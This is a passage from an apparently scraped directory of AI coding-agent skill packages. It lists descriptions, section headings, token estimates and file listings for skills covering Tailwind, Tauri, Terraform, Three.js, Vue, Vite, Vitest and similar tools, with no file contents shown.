bytesscripts/instruments_parser/summary.pyruns9,291 bytesscripts/instruments_parser/swiftui.pyruns6,798 bytesscripts/instruments_parser/time_profiler.pyruns4,385 bytesscripts/instruments_parser/xctrace.pyruns3,607 bytesscripts/instruments_parser/xml_utils.pyruns7,536 bytesscripts/record_trace.pyruns10,831 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtailwind-css-patterns
When your agent uses it
Provides comprehensive Tailwind CSS utility-first styling patterns including responsive design, layout utilities, flexbox, grid, spacing, typography, colors, and modern CSS best practices. Use when styling React/Vue/Svelte components, building responsive layouts, implementing design systems, or optimizing CSS workflow.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,491 tokensWhen the skill is activated
Reference documents
9,498 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Quick Reference
- Instructions
- Examples
- Best Practices
- Troubleshooting
- Constraints and Warnings
- References
- External Resources
Files
SKILL.mdcore6,342 bytesreferences/accessibility.mddoc4,046 bytesreferences/animations.mddoc3,281 bytesreferences/component-patterns.mddoc4,812 bytesreferences/configuration.mddoc3,284 bytesreferences/layout-patterns.mddoc3,830 bytesreferences/performance.mddoc2,585 bytesreferences/reference.mddoc9,988 bytesreferences/responsive-design.mddoc3,940 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtailwind-v4-shadcn
When your agent uses it
| Production-tested setup for Tailwind CSS v4 with shadcn/ui, Vite, and React. Use when: initializing React projects with Tailwind v4, setting up shadcn/ui, implementing dark mode, debugging CSS variable issues, fixing theme switching, migrating from Tailwind v3, or encountering color/theming problems. Covers: @theme inline pattern, CSS variable architecture, dark mode with ThemeProvider, component composition, vite.config setup, common v4 gotchas, and production-tested patterns.
What it loads into context
Frontmatter
241 tokensAlways available to the agent
SKILL.md
4,251 tokensWhen the skill is activated
Reference documents
7,433 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Table of Contents
- ⚠<U+FE0F> BEFORE YOU START (READ THIS!)
- Quick Start (5 Minutes - Follow This Exact Order)
- The Four-Step Architecture (CRITICAL)
- Dark Mode Setup
- Critical Rules (MUST FOLLOW)
- Semantic Color Tokens
- Common Issues & Quick Fixes
- File Templates
- Complete Setup Checklist
- Advanced Topics
- Dependencies
- Tailwind v4 Plugins
- Reference Documentation
- When to Load References
- Official Documentation
- Secure Installation
- Production Example
Scripts executed separately
templates/theme-provider.tsxtemplates/utils.tstemplates/vite.config.ts
Files
SKILL.mdcore15,882 bytesSKILL.mdcore15,882 bytesSKILL.mdcore15,882 bytesSKILL.mdcore15,882 bytesSKILL.mdcore15,882 bytesSKILL.mdcore15,882 bytesreferences/advanced-usage.mddoc3,700 bytesreferences/common-gotchas.mddoc7,575 bytesreferences/dark-mode.mddoc5,466 bytesreferences/migration-guide.mddoc6,929 bytesreferences/plugins-reference.mddoc3,130 bytestemplates/components.jsonasset396 bytestemplates/index.cssasset4,647 bytestemplates/theme-provider.tsxruns2,301 bytestemplates/tsconfig.app.jsonasset719 bytestemplates/utils.tsruns166 bytestemplates/vite.config.tsruns337 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtanstack-start
When your agent uses it
Full-stack React framework powered by TanStack Router with SSR, streaming, server functions, and deployment to any hosting provider.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,673 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Installation & Project Setup
- Server Functions (`createServerFn`)
- Middleware
- API Routes (Server Routes)
- SSR Strategies
- Deployment
- Best Practices
- Common Pitfalls
Files
SKILL.mdcore6,899 bytesSKILL.mdcore6,899 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtauri-v2
When your agent uses it
Tauri v2+ cross-platform app development with Rust backend. Use when configuring tauri.conf.json, implementing Rust commands (#[tauri::command]), setting up IPC patterns (invoke, emit, channels), configuring permissions/capabilities, troubleshooting build issues, or deploying desktop/mobile apps. Triggers on Tauri, src-tauri, invoke, emit, capabilities.json.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
4,122 tokensWhen the skill is activated
Reference documents
12,215 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Before You Start
- Quick Start
- Critical Rules
- Known Issues Prevention
- Deep-Dive References
- Configuration Reference
- Project Structure
- Common Patterns
- Bundled Resources
- Dependencies
- Official Documentation
- Troubleshooting
- Setup Checklist
Files
README.mddoc7,640 bytesSKILL.mdcore16,552 bytesSKILL.mdcore16,552 bytesSKILL.mdcore16,552 bytesreferences/README.mddoc1,889 bytesreferences/advanced-runtime-reference.mddoc5,079 bytesreferences/capabilities-reference.mddoc8,816 bytesreferences/ipc-patterns.mddoc12,227 bytesreferences/plugin-reference.mddoc8,835 bytesreferences/updater-distribution-reference.mddoc4,256 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubterraform-module-library
When your agent uses it
Build reusable Terraform modules for AWS, Azure, GCP, and OCI infrastructure following infrastructure-as-code best practices. Use when creating infrastructure modules, standardizing cloud provisioning, or implementing reusable IaC components.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
1,474 tokensWhen the skill is activated
Reference documents
643 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- When to Use
- Module Structure
- Standard Module Pattern
- AWS VPC Module Example
- Best Practices
- Module Composition
- Testing
- Related Skills
Files
SKILL.mdcore5,590 bytesSKILL.mdcore5,590 bytesSKILL.mdcore5,590 bytesreferences/aws-modules.mddoc1,316 bytesreferences/oci-modules.mddoc1,471 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubterraform-stacks
When your agent uses it
Comprehensive guide for working with HashiCorp Terraform Stacks. Use when creating, modifying, or validating Terraform Stack configurations (.tfcomponent.hcl, .tfdeploy.hcl files), working with stack components and deployments from local modules, public registry, or private registry sources, managing multi-region or multi-environment infrastructure, or troubleshooting Terraform Stacks syntax and structure.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
3,715 tokensWhen the skill is activated
Reference documents
21,696 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Concepts
- File Structure
- Required Terraform version (.terraform-version)
- Component Configuration (.tfcomponent.hcl)
- Deployment Configuration (.tfdeploy.hcl)
- Terraform Stacks CLI
- Monitoring Deployments with HCP Terraform API
- Common Patterns
- Best Practices
- Troubleshooting
- References
Files
SKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesSKILL.mdcore17,274 bytesreferences/api-monitoring.mddoc16,608 bytesreferences/component-blocks.mddoc10,147 bytesreferences/deployment-blocks.mddoc8,863 bytesreferences/examples.mddoc30,727 bytesreferences/linked-stacks.mddoc4,341 bytesreferences/troubleshooting.mddoc16,711 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubterraform-style-guide
When your agent uses it
Generate Terraform HCL code following HashiCorp's official style conventions and best practices. Use when writing, reviewing, or generating Terraform configurations.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,748 tokensWhen the skill is activated
Reference documents
1,143 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Code Generation Strategy
- File Organization
- Code Formatting
- Naming Conventions
- Variables
- Outputs
- Dynamic Resource Creation
- Security Best Practices
- Version Pinning
- Provider Configuration
- Version Control
- Validation Tools
- Code Review Checklist
Files
SECURITY.mddoc4,872 bytesSKILL.mdcore6,963 bytesSKILL.mdcore6,963 bytesSKILL.mdcore6,963 bytesSKILL.mdcore6,963 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtest-driven-development
When your agent uses it
Use when implementing any feature or bugfix, before writing implementation code
What it loads into context
Frontmatter
21 tokensAlways available to the agent
SKILL.md
2,383 tokensWhen the skill is activated
Reference documents
8,812 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- The Iron Law
- Red-Green-Refactor
- Good Tests
- Why Order Matters
- Common Rationalizations
- Red Flags - STOP and Start Over
- Example: Bug Fix
- Verification Checklist
- When Stuck
- Debugging Integration
- Testing Anti-Patterns
- Final Rule
Files
SKILL.mdcore9,726 bytesSKILL.mdcore9,726 bytesSKILL.mdcore9,726 bytesSKILL.mdcore9,726 bytesSKILL.mdcore9,726 bytestesting-anti-patterns.mddoc8,184 bytestesting-strategy.mddoc29,459 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtest-service
When your agent uses it
Use when writing RSpec for a service object under spec/services/. Test the public .call contract. Trigger words: service spec, test service object, spec/services.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,416 tokensWhen the skill is activated
Reference documents
752 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- HARD-GATE
- Core Process
- Extended Resources (Progressive Disclosure)
- Output Style
- Integration
Files
PATTERNS.mddoc814 bytesSKILL.mdcore5,856 bytesassets/spec_examples.mddoc1,516 bytesassets/testing_checklist.mddoc698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-animation
When your agent uses it
Three.js animation - keyframe animation, skeletal animation, morph targets, animation mixing. Use when animating objects, playing GLTF animations, creating procedural motion, or blending animations.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
3,271 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Animation System Overview
- AnimationClip
- AnimationMixer
- AnimationAction
- Loading GLTF Animations
- Skeletal Animation
- Morph Targets
- Animation Blending
- Animation Utilities
- Procedural Animation Patterns
- Performance Tips
- See Also
Files
SKILL.mdcore12,557 bytesSKILL.mdcore12,557 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-fundamentals
When your agent uses it
Three.js scene setup, cameras, renderer, Object3D hierarchy, coordinate systems. Use when setting up 3D scenes, creating cameras, configuring renderers, managing object hierarchies, or working with transforms.
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
2,995 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Core Classes
- Coordinate System
- Math Utilities
- Common Patterns
- Performance Tips
- See Also
Files
SKILL.mdcore11,520 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-geometry
When your agent uses it
Three.js geometry creation - built-in shapes, BufferGeometry, custom geometry, instancing. Use when creating 3D shapes, working with vertices, building custom meshes, or optimizing with instanced rendering.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
4,028 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Built-in Geometries
- BufferGeometry
- EdgesGeometry & WireframeGeometry
- Points
- Lines
- InstancedMesh
- InstancedBufferGeometry (Advanced)
- Geometry Utilities
- Common Patterns
- Performance Tips
- See Also
Files
SKILL.mdcore13,829 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-interaction
When your agent uses it
Three.js interaction - raycasting, controls, mouse/touch input, object selection. Use when handling user input, implementing click detection, adding camera controls, or creating interactive 3D experiences.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
4,031 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Raycaster
- Camera Controls
- TransformControls
- DragControls
- Selection System
- Keyboard Input
- World-Screen Coordinate Conversion
- Event Handling Best Practices
- Performance Tips
- See Also
Files
SKILL.mdcore16,318 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-lighting
When your agent uses it
Three.js lighting - light types, shadows, environment lighting. Use when adding lights, configuring shadows, setting up IBL, or optimizing lighting performance.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
3,148 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Light Types Overview
- AmbientLight
- HemisphereLight
- DirectionalLight
- PointLight
- SpotLight
- RectAreaLight
- Shadow Setup
- Light Helpers
- Environment Lighting (IBL)
- Light Probes (Advanced)
- Common Lighting Setups
- Light Animation
- Performance Tips
- See Also
Files
SKILL.mdcore12,027 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-loaders
When your agent uses it
Three.js asset loading - GLTF, textures, images, models, async patterns. Use when loading 3D models, textures, HDR environments, or managing loading progress.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
3,589 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- LoadingManager
- Texture Loading
- GLTF/GLB Loading
- Other Model Formats
- Async/Promise Loading
- Caching
- Loading from Different Sources
- Error Handling
- Performance Tips
- See Also
Files
SKILL.mdcore14,032 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-materials
When your agent uses it
Three.js materials - PBR, basic, phong, shader materials, material properties. Use when styling meshes, working with textures, creating custom shaders, or optimizing material performance.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
3,511 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Material Types Overview
- MeshBasicMaterial
- MeshLambertMaterial
- MeshPhongMaterial
- MeshStandardMaterial (PBR)
- MeshPhysicalMaterial (Advanced PBR)
- MeshToonMaterial
- MeshNormalMaterial
- MeshDepthMaterial
- PointsMaterial
- LineBasicMaterial & LineDashedMaterial
- ShaderMaterial
- RawShaderMaterial
- Common Material Properties
- Multiple Materials
- Environment Maps
- Material Cloning and Modification
- Performance Tips
- See Also
Files
SKILL.mdcore13,418 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-postprocessing
When your agent uses it
Three.js post-processing - EffectComposer, bloom, DOF, screen effects. Use when adding visual effects, color grading, blur, glow, or creating custom screen-space shaders.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
3,754 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- EffectComposer Setup
- Common Effects
- Custom ShaderPass
- Combining Multiple Effects
- Render to Texture
- Multi-Pass Rendering
- WebGPU Post-Processing (Three.js r150+)
- Performance Tips
- Handle Resize
- See Also
Files
SKILL.mdcore14,427 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-shaders
When your agent uses it
Three.js shaders - GLSL, ShaderMaterial, uniforms, custom effects. Use when creating custom visual effects, modifying vertices, writing fragment shaders, or extending built-in materials.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
4,040 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- ShaderMaterial vs RawShaderMaterial
- Uniforms
- Varyings
- Common Shader Patterns
- Extending Built-in Materials
- GLSL Built-in Functions
- Common Material Properties
- Shader Includes
- Instanced Shaders
- Debugging Shaders
- Performance Tips
- See Also
Files
SKILL.mdcore14,056 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreejs-textures
When your agent uses it
Three.js textures - texture types, UV mapping, environment maps, texture settings. Use when working with images, UV coordinates, cubemaps, HDR environments, or texture optimization.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
3,522 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Texture Loading
- Texture Configuration
- Texture Types
- Cube Textures
- HDR Textures
- Render Targets
- CubeCamera
- UV Mapping
- Texture Atlas
- Material Texture Maps
- Procedural Textures
- Texture Memory Management
- Performance Tips
- See Also
Files
SKILL.mdcore13,643 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtriage-bug
When your agent uses it
Use when investigating a bug, error, or regression in a Ruby or Rails codebase. Creates a failing reproduction test, isolates the broken code path, and produces a minimal fix plan. Trigger words: debug, broken, error, regression, stack trace, failing test, bug report, Ruby bug, Rails error, .rb file broken.
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
1,108 tokensWhen the skill is activated
Reference documents
615 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- HARD-GATE
- Core Process
- Extended Resources
- Integration
Scripts executed separately
assets/spec-skeletons/reproduction_spec.rb
Files
BOUNDARY_GUIDE.mddoc1,510 bytesSKILL.mdcore4,766 bytesassets/examples.mddoc1,270 bytesassets/spec-skeletons/reproduction_spec.rbruns340 bytesassets/triage_schema.jsonasset416 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubturborepo
When your agent uses it
Configure and troubleshoot Turborepo repositories. Use when working with turbo.json, task pipelines, caching, Remote Cache, the turbo CLI, filtering, environment variables, package boundaries, monorepo structure, or CI workflows.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
242 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore1,160 bytesSKILL.mdcore1,160 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtwo-factor-authentication-best-practices
When your agent uses it
Configure TOTP authenticator apps, send OTP codes via email/SMS, manage backup codes, handle trusted devices, and implement 2FA sign-in flows using Better Auth's twoFactor plugin. Use when users need MFA, multi-factor authentication, authenticator setup, or login security with Better Auth.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,935 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Setup
- Enabling 2FA for Users
- TOTP (Authenticator App)
- OTP (Email/SMS)
- Backup Codes
- Handling 2FA During Sign-In
- Trusted Devices
- Security Considerations
- Disabling 2FA
- Complete Configuration Example
Files
SKILL.mdcore7,631 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtypescript-advanced-types
When your agent uses it
Master TypeScript's advanced type system including generics, conditional types, mapped types, template literals, and utility types for building type-safe applications. Use when implementing complex type logic, creating reusable type utilities, or ensuring compile-time type safety in TypeScript projects.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
2,063 tokensWhen the skill is activated
Reference documents
2,436 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Core Concepts
- Detailed worked examples and patterns
- Best Practices
- Type Testing
- Common Pitfalls
- Performance Considerations
Files
SKILL.mdcore8,035 bytesreferences/details.mddoc9,027 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubupgrade-stripe
When your agent uses it
Guide for upgrading Stripe API versions, webhook endpoints, server-side SDKs, Stripe.js, and mobile SDKs
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
2,079 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Choose a target API version
- Understanding Stripe API Versioning
- Server-Side SDK Versioning
- Stripe.js Versioning
- Mobile SDK Versioning
- Upgrade Checklist
- Testing API Version Changes
- Important Notes
Files
SKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubai-sdk
When your agent uses it
Answer questions about the AI SDK and help build AI-powered features. Use when developers: (1) Ask about AI SDK functions like generateText, streamText, ToolLoopAgent, embed, or tools, (2) Want to build AI agents, chatbots, RAG systems, or text generation features, (3) Have questions about AI providers (OpenAI, Anthropic, Google, etc.), streaming, tool calling, structured output, or embeddings, (4) Use React hooks like useChat or useCompletion. Triggers on: "AI SDK", "Vercel AI SDK", "generateText", "streamText", "add AI to my app", "build an agent", "tool calling", "structured output", "useChat".
What it loads into context
Frontmatter
161 tokensAlways available to the agent
SKILL.md
1,351 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What the AI SDK Is
- Critical: Do Not Trust Your Own Memory
- Use the Bundled, Version-Matched Docs
- AI Gateway: The Fastest Way to Start
- Building and Consuming Agents
- DevTools
- Keep the SDK Current
- After Making Changes
Files
SKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytesSKILL.mdcore5,839 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvite
When your agent uses it
Vite build tool configuration, plugin API, SSR, and Vite 8 Rolldown migration. Use when working with Vite projects, vite.config.ts, Vite plugins, or building libraries/SSR apps with Vite.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
678 tokensWhen the skill is activated
Reference documents
7,766 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Preferences
- Core
- Build & SSR
- Advanced
- Quick Reference
Files
GENERATION.mddoc134 bytesSKILL.mdcore2,524 bytesSKILL.mdcore2,524 bytesreferences/build-and-ssr.mddoc3,820 bytesreferences/core-config.mddoc4,133 bytesreferences/core-features.mddoc5,270 bytesreferences/core-plugin-api.mddoc6,147 bytesreferences/environment-api.mddoc4,527 bytesreferences/rolldown-migration.mddoc5,426 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvitest
When your agent uses it
Vitest fast unit testing framework powered by Vite with Jest-compatible API. Use when writing tests, mocking, configuring coverage, or working with test filtering and fixtures.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
833 tokensWhen the skill is activated
Reference documents
26,897 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core
- Features
- Advanced
Files
GENERATION.mddoc136 bytesSKILL.mdcore3,708 bytesreferences/advanced-environments.mddoc5,005 bytesreferences/advanced-projects.mddoc7,529 bytesreferences/advanced-type-testing.mddoc4,740 bytesreferences/advanced-vi.mddoc5,933 bytesreferences/core-cli.mddoc4,860 bytesreferences/core-config.mddoc6,744 bytesreferences/core-describe.mddoc3,624 bytesreferences/core-expect.mddoc8,199 bytesreferences/core-hooks.mddoc4,891 bytesreferences/core-test-api.mddoc5,662 bytesreferences/features-benchmarking.mddoc3,992 bytesreferences/features-concurrency.mddoc4,805 bytesreferences/features-context.mddoc5,414 bytesreferences/features-coverage.mddoc5,120 bytesreferences/features-filtering.mddoc3,894 bytesreferences/features-mocking.mddoc8,360 bytesreferences/features-reporters.mddoc4,114 bytesreferences/features-snapshots.mddoc5,291 bytesreferences/features-test-tags.mddoc3,693 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvue
When your agent uses it
Vue 3 Composition API, script setup macros, reactivity system, and built-in components. Use when writing Vue SFCs, defineProps/defineEmits/defineModel, watchers, or using Transition/Teleport/Suspense/KeepAlive.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
630 tokensWhen the skill is activated
Reference documents
4,313 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Preferences
- Core
- Features
- Quick Reference
Files
GENERATION.mddoc133 bytesSKILL.mdcore2,473 bytesreferences/advanced-patterns.mddoc6,270 bytesreferences/core-new-apis.mddoc5,698 bytesreferences/script-setup-macros.mddoc4,129 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvue-best-practices
When your agent uses it
MUST be used for Vue.js tasks. Strongly recommends Composition API with `<script setup>` and TypeScript as the standard approach. Covers Vue 3, SSR, Volar, vue-tsc. Load for any Vue, .vue files, Vue Router, Pinia, or Vite with Vue work. ALWAYS use Composition API unless the project explicitly requires Options API.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
1,854 tokensWhen the skill is activated
Reference documents
25,884 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- 1) Confirm architecture before coding (required)
- 2) Apply essential Vue foundations (required)
- 3) Consider optional features only when requirements call for them
- 4) Run performance optimization after behavior is correct
- 5) Final self-check before finishing
Files
SKILL.mdcore8,803 bytesSKILL.mdcore8,803 bytesSKILL.mdcore8,803 bytesreferences/animation-class-based-technique.mddoc5,026 bytesreferences/animation-state-driven-technique.mddoc5,829 bytesreferences/component-async.mddoc2,532 bytesreferences/component-data-flow.mddoc6,956 bytesreferences/component-fallthrough-attrs.mddoc4,047 bytesreferences/component-keep-alive.mddoc3,487 bytesreferences/component-slots.mddoc4,469 bytesreferences/component-suspense.mddoc5,367 bytesreferences/component-teleport.mddoc2,921 bytesreferences/component-transition-group.mddoc3,004 bytesreferences/component-transition.mddoc2,722 bytesreferences/composables.mddoc7,011 bytesreferences/directives.mddoc3,803 bytesreferences/perf-avoid-component-abstraction-in-lists.mddoc4,683 bytesreferences/perf-v-once-v-memo-directives.mddoc4,769 bytesreferences/perf-virtualize-large-lists.mddoc5,002 bytesreferences/plugins.mddoc3,882 bytesreferences/reactivity.mddoc8,452 bytesreferences/render-functions.mddoc3,866 bytesreferences/sfc.mddoc6,216 bytesreferences/state-management.mddoc3,380 bytesreferences/updated-hook-performance.mddoc4,618 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvue-debug-guides
When your agent uses it
Vue 3 debugging and error handling for runtime errors, warnings, async failures, and SSR/hydration issues. Use when diagnosing or fixing Vue issues.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
4,393 tokensWhen the skill is activated
Reference documents
141,657 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore20,858 bytesreference/animation-key-for-rerender.mddoc4,601 bytesreference/animation-transitiongroup-performance.mddoc5,854 bytesreference/async-component-error-handling.mddoc3,291 bytesreference/async-component-keepalive-ref-issue.mddoc2,894 bytesreference/async-component-suspense-control.mddoc2,167 bytesreference/async-component-vue-router.mddoc2,893 bytesreference/attrs-event-listener-merging.mddoc4,707 bytesreference/checkbox-true-false-value-form-submission.mddoc3,505 bytesreference/cleanup-side-effects.mddoc4,343 bytesreference/click-events-on-components.mddoc4,730 bytesreference/component-naming-conflicts.mddoc4,461 bytesreference/component-ref-requires-defineexpose.mddoc4,204 bytesreference/composable-avoid-hidden-side-effects.mddoc5,867 bytesreference/composable-call-location-restrictions.mddoc4,903 bytesreference/composable-naming-return-pattern.mddoc3,994 bytesreference/composable-tovalue-inside-watcheffect.mddoc5,216 bytesreference/composition-api-not-functional-programming.mddoc3,896 bytesreference/composition-api-script-setup-async-context.mddoc5,360 bytesreference/composition-api-vs-react-hooks-differences.mddoc4,909 bytesreference/computed-array-mutation.mddoc4,372 bytesreference/computed-conditional-dependencies.mddoc4,379 bytesreference/computed-no-parameters.mddoc4,490 bytesreference/computed-no-side-effects.mddoc3,289 bytesreference/computed-return-value-readonly.mddoc4,096 bytesreference/configure-app-before-mount.mddoc2,776 bytesreference/declare-emits-for-documentation.mddoc5,121 bytesreference/define-expose-before-await.mddoc4,288 bytesreference/define-model-default-value-sync.mddoc4,046 bytesreference/defineEmits-must-be-top-level.mddoc4,156 bytesreference/defineEmits-no-runtime-and-type-mixed.mddoc4,342 bytesreference/definemodel-object-mutation-no-emit.mddoc4,103 bytesreference/dom-update-timing-nexttick.mddoc2,791 bytesreference/dynamic-argument-constraints.mddoc4,333 bytesreference/dynamic-component-registration-vite.mddoc4,256 bytesreference/event-modifier-order-matters.mddoc2,815 bytesreference/exact-modifier-for-precise-shortcuts.mddoc4,368 bytesreference/fallthrough-attrs-overwrite-vue3.mddoc3,912 bytesreference/in-dom-template-parsing-caveats.mddoc4,530 bytesreference/inheritattrs-false-for-wrapper-components.mddoc4,515 bytesreference/keepalive-router-nested-double-mount.mddoc5,111 bytesreference/keepalive-transition-memory-leak.mddoc3,574 bytesreference/keyup-modifier-timing.mddoc4,297 bytesreference/lifecycle-dom-access-timing.mddoc5,186 bytesreference/lifecycle-hooks-synchronous-registration.mddoc3,919 bytesreference/lifecycle-ssr-awareness.mddoc5,114 bytesreference/local-components-not-in-descendants.mddoc3,772 bytesreference/mount-return-value.mddoc2,691 bytesreference/multi-root-component-class-attrs.mddoc2,437 bytesreference/native-event-collision-with-emits.mddoc4,556 bytesreference/no-passive-with-prevent.mddoc3,807 bytesreference/no-v-if-with-v-for.mddoc3,929 bytesreference/perf-computed-object-stability.mddoc4,772 bytesreference/perf-props-stability-update-optimization.mddoc3,820 bytesreference/plugin-global-properties-sparingly.mddoc3,471 bytesreference/plugin-install-before-mount.mddoc3,215 bytesreference/plugin-prefer-provide-inject-over-global-properties.mddoc3,435 bytesreference/plugin-typescript-type-augmentation.mddoc4,179 